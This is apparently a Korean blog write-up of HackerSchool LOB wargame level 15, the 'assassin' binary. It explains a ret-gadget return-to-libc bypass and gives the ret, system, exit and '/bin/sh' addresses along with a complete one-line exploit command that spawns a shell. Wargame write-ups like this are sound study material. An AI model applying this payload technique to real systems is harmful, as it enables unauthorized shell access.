본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level15

소스를 본다



보니까

스택이랑 공유라이브러리 주소를 사용하지 못한다.



제길 도저히 모르겠어서 검색했다.

코드 마지막에 있는 ret을 리턴주소에다가 넣어서 pop eip를 한번 하면 스택이 4바이트 만큼 올라가서 

다음 4바이트로 리턴을 사용할 수 있다고 한다.


그럼 페이로드는

NOP*44 + &ret + &system + NOP*$ + &/bin/sh


ret : 0x804851e
system : 0x40058ae0
exit : 0x400391e0
&/bin/sh : 0x400fbff9


./assassin `python -c 'print "\x90"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`




'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level17  (0) 2014.08.24
HackerSchool LOB Level16  (0) 2014.08.23
HackerSchool LOB Level14  (0) 2014.08.20
HackerSchool LOB Level13  (0) 2014.08.15
HackerSchool LOB Level12  (0) 2014.07.31